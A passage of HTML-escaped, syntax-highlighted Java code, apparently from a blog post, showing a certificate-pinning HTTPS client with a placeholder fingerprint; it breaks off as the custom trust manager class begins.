class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003ejava.security.cert.Certificate\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003ejava.security.cert.X509Certificate\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kn\"\u003eimport\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nn\"\u003ejava.util.Base64\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eCertificatePinningClient\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"c1\"\u003e// SHA-256 fingerprint of the expected certificate\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"c1\"\u003e// You need to replace this with the actual certificate fingerprint of madhur.co.in\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003efinal\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEXPECTED_CERT_SHA256\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;YOUR_CERT_FINGERPRINT_HERE\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efingerprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003egetCertificateFingerprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;https://localhost:8443\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"n\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eprintln\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efingerprint\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e          \u003c/span\u003e\u003cspan class=\"c1\"\u003e//  String response = makeSecureRequest(\u0026#34;https://madhur.co.in\u0026#34;);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e           \u003c/span\u003e\u003cspan class=\"c1\"\u003e// System.out.println(\u0026#34;Response: \u0026#34; + response);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eException\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"n\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eerr\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eprintln\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Error: \u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003egetMessage\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eprintStackTrace\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003emakeSecureRequest\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eurlString\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eException\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003eURL\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eURL\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eurlString\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003eHttpsURLConnection\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003econnection\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eHttpsURLConnection\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eopenConnection\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Set up custom SSL context with certificate pinning\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003eSSLContext\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003esslContext\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSSLContext\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003egetInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;TLS\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003esslContext\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003einit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTrustManager\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ePinningTrustManager\u003c/span\u003e\u003cspan class=\"p\"\u003e()},\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003econnection\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003esetSSLSocketFactory\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003esslContext\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003egetSocketFactory\u003c/span\u003e\u003cspan class=\"p\"\u003e());\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Set request properties\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003econnection\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003esetRequestMethod\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;GET\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003econnection\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003esetConnectTimeout\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e10000\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003econnection\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003esetReadTimeout\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e10000\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Make the request\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003econnection\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003egetResponseCode\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Read the response\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003eStringBuilder\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eresponse\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eStringBuilder\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBufferedReader\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ereader\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBufferedReader\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eInputStreamReader\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econnection\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003egetInputStream\u003c/span\u003e\u003cspan class=\"p\"\u003e())))\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eline\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003eline\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ereader\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ereadLine\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"n\"\u003eresponse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eappend\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eline\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"na\"\u003eappend\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003econnection\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003edisconnect\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eresponse\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003etoString\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Custom TrustManager that implements certificate pinning\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003ePinningTrustManager\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003eimplements\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eX509TrustManager\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        